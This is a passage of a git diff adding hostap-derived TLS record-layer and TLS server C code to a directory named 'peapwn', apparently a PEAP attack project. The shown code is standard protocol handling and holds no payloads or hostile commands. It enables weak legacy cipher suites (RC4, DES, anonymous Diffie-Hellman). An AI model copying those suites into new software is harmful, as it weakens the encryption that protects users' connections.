TLS_CONTENT_TYPE_APPLICATION_DATA) { + wpa_printf(MSG_DEBUG, "TLSv1: Ignore record with unknown " + "content type 0x%x", ct); + *alert = TLS_ALERT_UNEXPECTED_MESSAGE; + return -1; + } + + in_len = rlen; + + if (*out_len < in_len) { + wpa_printf(MSG_DEBUG, "TLSv1: Not enough output buffer for " + "processing received record"); + *alert = TLS_ALERT_INTERNAL_ERROR; + return -1; + } + + if (rl->read_cipher_suite != TLS_NULL_WITH_NULL_NULL) { + size_t plen; + if (crypto_cipher_decrypt(rl->read_cbc, in_data, + out_data, in_len) < 0) { + *alert = TLS_ALERT_DECRYPTION_FAILED; + return -1; + } + plen = in_len; + wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Record Layer - Decrypted " + "data", out_data, plen); + + if (rl->iv_size) { + /* + * TLS v1.0 defines different alert values for various + * failures. That may information to aid in attacks, so + * use the same bad_record_mac alert regardless of the + * issues. + * + * In addition, instead of returning immediately on + * error, run through the MAC check to make timing + * attacks more difficult. + */ + + if (rl->tls_version >= TLS_VERSION_1_1) { + /* Remove opaque IV[Cipherspec.block_length] */ + if (plen < rl->iv_size) { + wpa_printf(MSG_DEBUG, "TLSv1.1: Not " + "enough room for IV"); + force_mac_error = 1; + goto check_mac; + } + os_memmove(out_data, out_data + rl->iv_size, + plen - rl->iv_size); + plen -= rl->iv_size; + } + + /* Verify and remove padding */ + if (plen == 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short record" + " (no pad)"); + force_mac_error = 1; + goto check_mac; + } + padlen = out_data[plen - 1]; + if (padlen >= plen) { + wpa_printf(MSG_DEBUG, "TLSv1: Incorrect pad " + "length (%u, plen=%lu) in " + "received record", + padlen, (unsigned long) plen); + force_mac_error = 1; + goto check_mac; + } + for (i = plen - padlen - 1; i < plen - 1; i++) { + if (out_data[i] != padlen) { + wpa_hexdump(MSG_DEBUG, + "TLSv1: Invalid pad in " + "received record", + out_data + plen - padlen - + 1, padlen + 1); + force_mac_error = 1; + goto check_mac; + } + } + + plen -= padlen + 1; + + wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Record Layer - " + "Decrypted data with IV and padding " + "removed", out_data, plen); + } + + check_mac: + if (plen < rl->hash_size) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short record; no " + "hash value"); + *alert = TLS_ALERT_BAD_RECORD_MAC; + return -1; + } + + plen -= rl->hash_size; + + hmac = crypto_hash_init(rl->hash_alg, rl->read_mac_secret, + rl->hash_size); + if (hmac == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed " + "to initialize HMAC"); + *alert = TLS_ALERT_INTERNAL_ERROR; + return -1; + } + + crypto_hash_update(hmac, rl->read_seq_num, TLS_SEQ_NUM_LEN); + /* type + version + length + fragment */ + crypto_hash_update(hmac, in_data - TLS_RECORD_HEADER_LEN, 3); + WPA_PUT_BE16(len, plen); + crypto_hash_update(hmac, len, 2); + crypto_hash_update(hmac, out_data, plen); + hlen = sizeof(hash); + if (crypto_hash_finish(hmac, hash, &hlen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed " + "to calculate HMAC"); + *alert = TLS_ALERT_INTERNAL_ERROR; + return -1; + } + if (hlen != rl->hash_size || + os_memcmp(hash, out_data + plen, hlen) != 0 || + force_mac_error) { + wpa_printf(MSG_DEBUG, "TLSv1: Invalid HMAC value in " + "received message (force_mac_error=%d)", + force_mac_error); + *alert = TLS_ALERT_BAD_RECORD_MAC; + return -1; + } + + *out_len = plen; + } else { + os_memcpy(out_data, in_data, in_len); + *out_len = in_len; + } + + /* TLSCompressed must not be more than 2^14+1024 bytes */ + if (TLS_RECORD_HEADER_LEN + *out_len > 17408) { + wpa_printf(MSG_DEBUG, "TLSv1: Record overflow (len=%lu)", + (unsigned long) (TLS_RECORD_HEADER_LEN + *out_len)); + *alert = TLS_ALERT_RECORD_OVERFLOW; + return -1; + } + + inc_byte_array(rl->read_seq_num, TLS_SEQ_NUM_LEN); + + return TLS_RECORD_HEADER_LEN + rlen; +} diff --git a/peapwn/mods/hostap/src/tls/tlsv1_record.h b/peapwn/mods/hostap/src/tls/tlsv1_record.h new file mode 100644 index 000000000..48abcb0d2 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/tlsv1_record.h @@ -0,0 +1,71 @@ +/* + * TLSv1 Record Protocol + * Copyright (c) 2006-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef TLSV1_RECORD_H +#define TLSV1_RECORD_H + +#include "crypto/crypto.h" + +#define TLS_MAX_WRITE_MAC_SECRET_LEN 32 +#define TLS_MAX_WRITE_KEY_LEN 32 +#define TLS_MAX_IV_LEN 16 +#define TLS_MAX_KEY_BLOCK_LEN (2 * (TLS_MAX_WRITE_MAC_SECRET_LEN + \ + TLS_MAX_WRITE_KEY_LEN + TLS_MAX_IV_LEN)) + +#define TLS_SEQ_NUM_LEN 8 +#define TLS_RECORD_HEADER_LEN 5 + +/* ContentType */ +enum { + TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC = 20, + TLS_CONTENT_TYPE_ALERT = 21, + TLS_CONTENT_TYPE_HANDSHAKE = 22, + TLS_CONTENT_TYPE_APPLICATION_DATA = 23 +}; + +struct tlsv1_record_layer { + u16 tls_version; + + u8 write_mac_secret[TLS_MAX_WRITE_MAC_SECRET_LEN]; + u8 read_mac_secret[TLS_MAX_WRITE_MAC_SECRET_LEN]; + u8 write_key[TLS_MAX_WRITE_KEY_LEN]; + u8 read_key[TLS_MAX_WRITE_KEY_LEN]; + u8 write_iv[TLS_MAX_IV_LEN]; + u8 read_iv[TLS_MAX_IV_LEN]; + + size_t hash_size; + size_t key_material_len; + size_t iv_size; /* also block_size */ + + enum crypto_hash_alg hash_alg; + enum crypto_cipher_alg cipher_alg; + + u8 write_seq_num[TLS_SEQ_NUM_LEN]; + u8 read_seq_num[TLS_SEQ_NUM_LEN]; + + u16 cipher_suite; + u16 write_cipher_suite; + u16 read_cipher_suite; + + struct crypto_cipher *write_cbc; + struct crypto_cipher *read_cbc; +}; + + +int tlsv1_record_set_cipher_suite(struct tlsv1_record_layer *rl, + u16 cipher_suite); +int tlsv1_record_change_write_cipher(struct tlsv1_record_layer *rl); +int tlsv1_record_change_read_cipher(struct tlsv1_record_layer *rl); +int tlsv1_record_send(struct tlsv1_record_layer *rl, u8 content_type, u8 *buf, + size_t buf_size, const u8 *payload, size_t payload_len, + size_t *out_len); +int tlsv1_record_receive(struct tlsv1_record_layer *rl, + const u8 *in_data, size_t in_len, + u8 *out_data, size_t *out_len, u8 *alert); + +#endif /* TLSV1_RECORD_H */ diff --git a/peapwn/mods/hostap/src/tls/tlsv1_server.c b/peapwn/mods/hostap/src/tls/tlsv1_server.c new file mode 100644 index 000000000..2880309eb --- /dev/null +++ b/peapwn/mods/hostap/src/tls/tlsv1_server.c @@ -0,0 +1,620 @@ +/* + * TLS v1.0/v1.1/v1.2 server (RFC 2246, RFC 4346, RFC 5246) + * Copyright (c) 2006-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/sha1.h" +#include "crypto/tls.h" +#include "tlsv1_common.h" +#include "tlsv1_record.h" +#include "tlsv1_server.h" +#include "tlsv1_server_i.h" + +/* TODO: + * Support for a message fragmented across several records (RFC 2246, 6.2.1) + */ + + +void tlsv1_server_alert(struct tlsv1_server *conn, u8 level, u8 description) +{ + conn->alert_level = level; + conn->alert_description = description; +} + + +int tlsv1_server_derive_keys(struct tlsv1_server *conn, + const u8 *pre_master_secret, + size_t pre_master_secret_len) +{ + u8 seed[2 * TLS_RANDOM_LEN]; + u8 key_block[TLS_MAX_KEY_BLOCK_LEN]; + u8 *pos; + size_t key_block_len; + + if (pre_master_secret) { + wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: pre_master_secret", + pre_master_secret, pre_master_secret_len); + os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN); + os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random, + TLS_RANDOM_LEN); + if (tls_prf(conn->rl.tls_version, + pre_master_secret, pre_master_secret_len, + "master secret", seed, 2 * TLS_RANDOM_LEN, + conn->master_secret, TLS_MASTER_SECRET_LEN)) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive " + "master_secret"); + return -1; + } + wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: master_secret", + conn->master_secret, TLS_MASTER_SECRET_LEN); + } + + os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN); + os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, TLS_RANDOM_LEN); + key_block_len = 2 * (conn->rl.hash_size + conn->rl.key_material_len + + conn->rl.iv_size); + if (tls_prf(conn->rl.tls_version, + conn->master_secret, TLS_MASTER_SECRET_LEN, + "key expansion", seed, 2 * TLS_RANDOM_LEN, + key_block, key_block_len)) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive key_block"); + return -1; + } + wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: key_block", + key_block, key_block_len); + + pos = key_block; + + /* client_write_MAC_secret */ + os_memcpy(conn->rl.read_mac_secret, pos, conn->rl.hash_size); + pos += conn->rl.hash_size; + /* server_write_MAC_secret */ + os_memcpy(conn->rl.write_mac_secret, pos, conn->rl.hash_size); + pos += conn->rl.hash_size; + + /* client_write_key */ + os_memcpy(conn->rl.read_key, pos, conn->rl.key_material_len); + pos += conn->rl.key_material_len; + /* server_write_key */ + os_memcpy(conn->rl.write_key, pos, conn->rl.key_material_len); + pos += conn->rl.key_material_len; + + /* client_write_IV */ + os_memcpy(conn->rl.read_iv, pos, conn->rl.iv_size); + pos += conn->rl.iv_size; + /* server_write_IV */ + os_memcpy(conn->rl.write_iv, pos, conn->rl.iv_size); + pos += conn->rl.iv_size; + + return 0; +} + + +/** + * tlsv1_server_handshake - Process TLS handshake + * @conn: TLSv1 server connection data from tlsv1_server_init() + * @in_data: Input data from TLS peer + * @in_len: Input data length + * @out_len: Length of the output buffer. + * Returns: Pointer to output data, %NULL on failure + */ +u8 * tlsv1_server_handshake(struct tlsv1_server *conn, + const u8 *in_data, size_t in_len, + size_t *out_len) +{ + const u8 *pos, *end; + u8 *msg = NULL, *in_msg, *in_pos, *in_end, alert, ct; + size_t in_msg_len; + int used; + + if (in_data == NULL || in_len == 0) { + wpa_printf(MSG_DEBUG, "TLSv1: No input data to server"); + return NULL; + } + + pos = in_data; + end = in_data + in_len; + in_msg = os_malloc(in_len); + if (in_msg == NULL) + return NULL; + + /* Each received packet may include multiple records */ + while (pos < end) { + in_msg_len = in_len; + used = tlsv1_record_receive(&conn->rl, pos, end - pos, + in_msg, &in_msg_len, &alert); + if (used < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Processing received " + "record failed"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); + goto failed; + } + if (used == 0) { + /* need more data */ + wpa_printf(MSG_DEBUG, "TLSv1: Partial processing not " + "yet supported"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); + goto failed; + } + ct = pos[0]; + + in_pos = in_msg; + in_end = in_msg + in_msg_len; + + /* Each received record may include multiple messages of the + * same ContentType. */ + while (in_pos < in_end) { + in_msg_len = in_end - in_pos; + if (tlsv1_server_process_handshake(conn, ct, in_pos, + &in_msg_len) < 0) + goto failed; + in_pos += in_msg_len; + } + + pos += used; + } + + os_free(in_msg); + in_msg = NULL; + + msg = tlsv1_server_handshake_write(conn, out_len); + +failed: + os_free(in_msg); + if (conn->alert_level) { + if (conn->state == FAILED) { + /* Avoid alert loops */ + wpa_printf(MSG_DEBUG, "TLSv1: Drop alert loop"); + os_free(msg); + return NULL; + } + conn->state = FAILED; + os_free(msg); + msg = tlsv1_server_send_alert(conn, conn->alert_level, + conn->alert_description, + out_len); + } + + return msg; +} + + +/** + * tlsv1_server_encrypt - Encrypt data into TLS tunnel + * @conn: TLSv1 server connection data from tlsv1_server_init() + * @in_data: Pointer to plaintext data to be encrypted + * @in_len: Input buffer length + * @out_data: Pointer to output buffer (encrypted TLS data) + * @out_len: Maximum out_data length + * Returns: Number of bytes written to out_data, -1 on failure + * + * This function is used after TLS handshake has been completed successfully to + * send data in the encrypted tunnel. + */ +int tlsv1_server_encrypt(struct tlsv1_server *conn, + const u8 *in_data, size_t in_len, + u8 *out_data, size_t out_len) +{ + size_t rlen; + + wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Plaintext AppData", + in_data, in_len); + + if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_APPLICATION_DATA, + out_data, out_len, in_data, in_len, &rlen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + return rlen; +} + + +/** + * tlsv1_server_decrypt - Decrypt data from TLS tunnel + * @conn: TLSv1 server connection data from tlsv1_server_init() + * @in_data: Pointer to input buffer (encrypted TLS data) + * @in_len: Input buffer length + * @out_data: Pointer to output buffer (decrypted data from TLS tunnel) + * @out_len: Maximum out_data length + * Returns: Number of bytes written to out_data, -1 on failure + * + * This function is used after TLS handshake has been completed successfully to + * receive data from the encrypted tunnel. + */ +int tlsv1_server_decrypt(struct tlsv1_server *conn, + const u8 *in_data, size_t in_len, + u8 *out_data, size_t out_len) +{ + const u8 *in_end, *pos; + int used; + u8 alert, *out_end, *out_pos, ct; + size_t olen; + + pos = in_data; + in_end = in_data + in_len; + out_pos = out_data; + out_end = out_data + out_len; + + while (pos < in_end) { + ct = pos[0]; + olen = out_end - out_pos; + used = tlsv1_record_receive(&conn->rl, pos, in_end - pos, + out_pos, &olen, &alert); + if (used < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Record layer processing " + "failed"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); + return -1; + } + if (used == 0) { + /* need more data */ + wpa_printf(MSG_DEBUG, "TLSv1: Partial processing not " + "yet supported"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); + return -1; + } + + if (ct == TLS_CONTENT_TYPE_ALERT) { + if (olen < 2) { + wpa_printf(MSG_DEBUG, "TLSv1: Alert " + "underflow"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + wpa_printf(MSG_DEBUG, "TLSv1: Received alert %d:%d", + out_pos[0], out_pos[1]); + if (out_pos[0] == TLS_ALERT_LEVEL_WARNING) { + /* Continue processing */ + pos += used; + continue; + } + + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + out_pos[1]); + return -1; + } + + if (ct != TLS_CONTENT_TYPE_APPLICATION_DATA) { + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected content type " + "0x%x", pos[0]); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + out_pos += olen; + if (out_pos > out_end) { + wpa_printf(MSG_DEBUG, "TLSv1: Buffer not large enough " + "for processing the received record"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + pos += used; + } + + return out_pos - out_data; +} + + +/** + * tlsv1_server_global_init - Initialize TLSv1 server + * Returns: 0 on success, -1 on failure + * + * This function must be called before using any other TLSv1 server functions. + */ +int tlsv1_server_global_init(void) +{ + return crypto_global_init(); +} + + +/** + * tlsv1_server_global_deinit - Deinitialize TLSv1 server + * + * This function can be used to deinitialize the TLSv1 server that was + * initialized by calling tlsv1_server_global_init(). No TLSv1 server functions + * can be called after this before calling tlsv1_server_global_init() again. + */ +void tlsv1_server_global_deinit(void) +{ + crypto_global_deinit(); +} + + +/** + * tlsv1_server_init - Initialize TLSv1 server connection + * @cred: Pointer to server credentials from tlsv1_server_cred_alloc() + * Returns: Pointer to TLSv1 server connection data or %NULL on failure + */ +struct tlsv1_server * tlsv1_server_init(struct tlsv1_credentials *cred) +{ + struct tlsv1_server *conn; + size_t count; + u16 *suites; + + conn = os_zalloc(sizeof(*conn)); + if (conn == NULL) + return NULL; + + conn->cred = cred; + + conn->state = CLIENT_HELLO; + + if (tls_verify_hash_init(&conn->verify) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize verify " + "hash"); + os_free(conn); + return NULL; + } + + count = 0; + suites = conn->cipher_suites; + suites[count++] = TLS_RSA_WITH_AES_256_CBC_SHA; + suites[count++] = TLS_RSA_WITH_AES_128_CBC_SHA; + suites[count++] = TLS_RSA_WITH_3DES_EDE_CBC_SHA; + suites[count++] = TLS_RSA_WITH_RC4_128_SHA; + suites[count++] = TLS_RSA_WITH_RC4_128_MD5; + conn->num_cipher_suites = count; + + return conn; +} + + +static void tlsv1_server_clear_data(struct tlsv1_server *conn) +{ + tlsv1_record_set_cipher_suite(&conn->rl, TLS_NULL_WITH_NULL_NULL); + tlsv1_record_change_write_cipher(&conn->rl); + tlsv1_record_change_read_cipher(&conn->rl); + tls_verify_hash_free(&conn->verify); + + crypto_public_key_free(conn->client_rsa_key); + conn->client_rsa_key = NULL; + + os_free(conn->session_ticket); + conn->session_ticket = NULL; + conn->session_ticket_len = 0; + conn->use_session_ticket = 0; + + os_free(conn->dh_secret); + conn->dh_secret = NULL; + conn->dh_secret_len = 0; +} + + +/** + * tlsv1_server_deinit - Deinitialize TLSv1 server connection + * @conn: TLSv1 server connection data from tlsv1_server_init() + */ +void tlsv1_server_deinit(struct tlsv1_server *conn) +{ + tlsv1_server_clear_data(conn); + os_free(conn); +} + + +/** + * tlsv1_server_established - Check whether connection has been established + * @conn: TLSv1 server connection data from tlsv1_server_init() + * Returns: 1 if connection is established, 0 if not + */ +int tlsv1_server_established(struct tlsv1_server *conn) +{ + return conn->state == ESTABLISHED; +} + + +/** + * tlsv1_server_prf - Use TLS-PRF to derive keying material + * @conn: TLSv1 server connection data from tlsv1_server_init() + * @label: Label (e.g., description of the key) for PRF + * @server_random_first: seed is 0 = client_random|server_random, + * 1 = server_random|client_random + * @out: Buffer for output data from TLS-PRF + * @out_len: Length of the output buffer + * Returns: 0 on success, -1 on failure + */ +int tlsv1_server_prf(struct tlsv1_server *conn, const char *label, + int server_random_first, u8 *out, size_t out_len) +{ + u8 seed[2 * TLS_RANDOM_LEN]; + + if (conn->state != ESTABLISHED) + return -1; + + if (server_random_first) { + os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN); + os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, + TLS_RANDOM_LEN); + } else { + os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN); + os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random, + TLS_RANDOM_LEN); + } + + return tls_prf(conn->rl.tls_version, + conn->master_secret, TLS_MASTER_SECRET_LEN, + label, seed, 2 * TLS_RANDOM_LEN, out, out_len); +} + + +/** + * tlsv1_server_get_cipher - Get current cipher name + * @conn: TLSv1 server connection data from tlsv1_server_init() + * @buf: Buffer for the cipher name + * @buflen: buf size + * Returns: 0 on success, -1 on failure + * + * Get the name of the currently used cipher. + */ +int tlsv1_server_get_cipher(struct tlsv1_server *conn, char *buf, + size_t buflen) +{ + char *cipher; + + switch (conn->rl.cipher_suite) { + case TLS_RSA_WITH_RC4_128_MD5: + cipher = "RC4-MD5"; + break; + case TLS_RSA_WITH_RC4_128_SHA: + cipher = "RC4-SHA"; + break; + case TLS_RSA_WITH_DES_CBC_SHA: + cipher = "DES-CBC-SHA"; + break; + case TLS_RSA_WITH_3DES_EDE_CBC_SHA: + cipher = "DES-CBC3-SHA"; + break; + case TLS_DH_anon_WITH_AES_128_CBC_SHA: + cipher = "ADH-AES-128-SHA"; + break; + case TLS_RSA_WITH_AES_256_CBC_SHA: + cipher = "AES-256-SHA"; + break; + case TLS_RSA_WITH_AES_128_CBC_SHA: + cipher = "AES-128-SHA"; + break; + default: + return -1; + } + + if (os_strlcpy(buf, cipher, buflen) >= buflen) + return -1; + return 0; +} + + +/** + * tlsv1_server_shutdown - Shutdown TLS connection + * @conn: TLSv1 server connection data from tlsv1_server_init() + * Returns: 0 on success, -1 on failure + */ +int tlsv1_server_shutdown(struct tlsv1_server *conn) +{ + conn->state = CLIENT_HELLO; + + if (tls_verify_hash_init(&conn->verify) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to re-initialize verify " + "hash"); + return -1; + } + + tlsv1_server_clear_data(conn); + + return 0; +} + + +/** + * tlsv1_server_resumed - Was session resumption used + * @conn: TLSv1 server connection data from tlsv1_server_init() + * Returns: 1 if current session used session resumption, 0 if not + */ +int tlsv1_server_resumed(struct tlsv1_server *conn) +{ + return 0; +} + + +/** + * tlsv1_server_get_keys - Get master key and random data from TLS connection + * @conn: TLSv1 server connection data from tlsv1_server_init() + * @keys: Structure of key/random data (filled on success) + * Returns: 0 on success, -1 on failure + */ +int tlsv1_server_get_keys(struct tlsv1_server *conn, struct tls_keys *keys) +{ + os_memset(keys, 0, sizeof(*keys)); + if (conn->state == CLIENT_HELLO) + return -1; + + keys->client_random = conn->client_random; + keys->client_random_len = TLS_RANDOM_LEN; + + if (conn->state != SERVER_HELLO) { + keys->server_random = conn->server_random; + keys->server_random_len = TLS_RANDOM_LEN; + keys->master_key = conn->master_secret; + keys->master_key_len = TLS_MASTER_SECRET_LEN; + } + + return 0; +} + + +/** + * tlsv1_server_get_keyblock_size - Get TLS key_block size + * @conn: TLSv1 server connection data from tlsv1_server_init() + * Returns: Size of the key_block for the negotiated cipher suite or -1 on + * failure + */ +int tlsv1_server_get_keyblock_size(struct tlsv1_server *conn) +{ + if (conn->state == CLIENT_HELLO || conn->state == SERVER_HELLO) + return -1; + + return 2 * (conn->rl.hash_size + conn->rl.key_material_len + + conn->rl.iv_size); +} + + +/** + * tlsv1_server_set_cipher_list - Configure acceptable cipher suites + * @conn: TLSv1 server connection data from tlsv1_server_init() + * @ciphers: Zero (TLS_CIPHER_NONE) terminated list of allowed ciphers + * (TLS_CIPHER_*). + * Returns: 0 on success, -1 on failure + */ +int tlsv1_server_set_cipher_list(struct tlsv1_server *conn, u8 *ciphers) +{ + size_t count; + u16 *suites; + + /* TODO: implement proper configuration of cipher suites */ + if (ciphers[0] == TLS_CIPHER_ANON_DH_AES128_SHA) { + count = 0; + suites = conn->cipher_suites; + suites[count++] = TLS_RSA_WITH_AES_256_CBC_SHA; + suites[count++] = TLS_RSA_WITH_AES_128_CBC_SHA; + suites[count++] = TLS_RSA_WITH_3DES_EDE_CBC_SHA; + suites[count++] = TLS_RSA_WITH_RC4_128_SHA; + suites[count++] = TLS_RSA_WITH_RC4_128_MD5; + suites[count++] = TLS_DH_anon_WITH_AES_256_CBC_SHA; + suites[count++] = TLS_DH_anon_WITH_AES_128_CBC_SHA; + suites[count++] = TLS_DH_anon_WITH_3DES_EDE_CBC_SHA; + suites[count++] = TLS_DH_anon_WITH_RC4_128_MD5; + suites[count++] = TLS_DH_anon_WITH_DES_CBC_SHA; + conn->num_cipher_suites = count; + } + + return 0; +} + + +int tlsv1_server_set_verify(struct tlsv1_server *conn, int verify_peer) +{ + conn->verify_peer = verify_peer; + return 0; +} + + +void tlsv1_server_set_session_ticket_cb(struct tlsv1_server *conn, + tlsv1_server_session_ticket_cb cb, + void *ctx) +{ + wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback set %p (ctx %p)", + cb, ctx); + conn->session_ticket_cb = cb; + conn->session_ticket_cb_ctx = ctx; +} diff --git a/peapwn/mods/hostap/src/tls/tlsv1_server.h b/peapwn/mods/hostap/src/tls/tlsv1_server.h new file mode 100644 index 000000000..a18c69e37 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/tlsv1_server.h @@ -0,0 +1,48 @@ +/* + * TLS v1.0/v1.1/v1.2 server (RFC 2246, RFC 4346, RFC 5246) + * Copyright (c) 2006-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef TLSV1_SERVER_H +#define TLSV1_SERVER_H + +#include "tlsv1_cred.h" + +struct tlsv1_server; + +int tlsv1_server_global_init(void); +void tlsv1_server_global_deinit(void); +struct tlsv1_server * tlsv1_server_init(struct tlsv1_credentials *cred); +void tlsv1_server_deinit(struct tlsv1_server *conn); +int tlsv1_server_established(struct tlsv1_server *conn); +int tlsv1_server_prf(struct tlsv1_server *conn, const char *label, + int server_random_first, u8 *out, size_t out_len); +u8 * tlsv1_server_handshake(struct tlsv1_server *conn, + const u8 *in_data, size_t in_len, size_t *out_len); +int tlsv1_server_encrypt(struct tlsv1_server *conn, + const u8 *in_data, size_t in_len, + u8 *out_data, size_t out_len); +int tlsv1_server_decrypt(struct tlsv1_server *conn, + const u8 *in_data, size_t in_len, + u8 *out_data, size_t out_len); +int tlsv1_server_get_cipher(struct tlsv1_server *conn, char *buf, + size_t buflen); +int tlsv1_server_shutdown(struct tlsv1_server *conn); +int tlsv1_server_resumed(struct tlsv1_server *conn); +int tlsv1_server_get_keys(struct tlsv1_server *conn, struct tls_keys *keys); +int tlsv1_server_get_keyblock_size(struct tlsv1_server *conn); +int tlsv1_server_set_cipher_list(struct tlsv1_server *conn, u8 *ciphers); +int tlsv1_server_set_verify(struct tlsv1_server *conn, int verify_peer); + +typedef int (*tlsv1_server_session_ticket_cb) +(void *ctx, const u8 *ticket, size_t len, const u8 *client_random, + const u8 *server_random, u8 *master_secret); + +void tlsv1_server_set_session_ticket_cb(struct tlsv1_server *conn, + tlsv1_server_session_ticket_cb cb, + void *ctx); + +#endif /* TLSV1_SERVER_H */ diff --git a/peapwn/mods/hostap/src/tls/tlsv1_server_i.h b/peapwn/mods/hostap/src/tls/tlsv1_server_i.h new file mode 100644 index 000000000..1f61533a5 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/tlsv1_server_i.h @@ -0,0 +1,71 @@ +/* + * TLSv1 server - internal structures + * Copyright (c) 2006-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef TLSV1_SERVER_I_H +#define TLSV1_SERVER_I_H + +struct tlsv1_server { + enum { + CLIENT_HELLO, SERVER_HELLO, SERVER_CERTIFICATE, + SERVER_KEY_EXCHANGE, SERVER_CERTIFICATE_REQUEST, + SERVER_HELLO_DONE, CLIENT_CERTIFICATE, CLIENT_KEY_EXCHANGE, + CERTIFICATE_VERIFY, CHANGE_CIPHER_SPEC, CLIENT_FINISHED, + SERVER_CHANGE_CIPHER_SPEC, SERVER_FINISHED, + ESTABLISHED, FAILED + } state; + + struct tlsv1_record_layer rl; + + u8 session_id[TLS_SESSION_ID_MAX_LEN]; + size_t session_id_len; + u8 client_random[TLS_RANDOM_LEN]; + u8 server_random[TLS_RANDOM_LEN]; + u8 master_secret[TLS_MASTER_SECRET_LEN]; + + u8 alert_level; + u8 alert_description; + + struct crypto_public_key *client_rsa_key; + + struct tls_verify_hash verify; + +#define MAX_CIPHER_COUNT 30 + u16 cipher_suites[MAX_CIPHER_COUNT]; + size_t num_cipher_suites; + + u16 cipher_suite; + + struct tlsv1_credentials *cred; + + int verify_peer; + u16 client_version; + + u8 *session_ticket; + size_t session_ticket_len; + + tlsv1_server_session_ticket_cb session_ticket_cb; + void *session_ticket_cb_ctx; + + int use_session_ticket; + + u8 *dh_secret; + size_t dh_secret_len; +}; + + +void tlsv1_server_alert(struct tlsv1_server *conn, u8 level, u8 description); +int tlsv1_server_derive_keys(struct tlsv1_server *conn, + const u8 *pre_master_secret, + size_t pre_master_secret_len); +u8 * tlsv1_server_handshake_write(struct tlsv1_server *conn, size_t *out_len); +u8 * tlsv1_server_send_alert(struct tlsv1_server *conn, u8 level, + u8 description, size_t *out_len); +int tlsv1_server_process_handshake(struct tlsv1_server *conn, u8 ct, + const u8 *buf, size_t *len); + +#endif /* TLSV1_SERVER_I_H */ diff --git a/peapwn/mods/hostap/src/tls/tlsv1_server_read.c b/peapwn/mods/hostap/src/tls/tlsv1_server_read.c new file mode 100644 index 000000000..6f6539b1b --- /dev/null +++ b/peapwn/mods/hostap/src/tls/tlsv1_server_read.c @@ -0,0 +1,1253 @@ +/* + * TLSv1 server - read handshake message + * Copyright (c) 2006-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/md5.h" +#include "crypto/sha1.h" +#include "crypto/sha256.h" +#include "crypto/tls.h" +#include "x509v3.h" +#include "tlsv1_common.h" +#include "tlsv1_record.h" +#include "tlsv1_server.h" +#include "tlsv1_server_i.h" + + +static int tls_process_client_key_exchange(struct tlsv1_server *conn, u8 ct, + const u8 *in_data, size_t *in_len); +static int tls_process_change_cipher_spec(struct tlsv1_server *conn, + u8 ct, const u8 *in_data, + size_t *in_len); + + +static int tls_process_client_hello(struct tlsv1_server *conn, u8 ct, + const u8 *in_data, size_t *in_len) +{ + const u8 *pos, *end, *c; + size_t left, len, i, j; + u16 cipher_suite; + u16 num_suites; + int compr_null_found; + u16 ext_type, ext_len; + + if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " + "received content type 0x%x", ct); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + pos = in_data; + left = *in_len; + + if (left < 4) + goto decode_error; + + /* HandshakeType msg_type */ + if (*pos != TLS_HANDSHAKE_TYPE_CLIENT_HELLO) { + wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " + "message %d (expected ClientHello)", 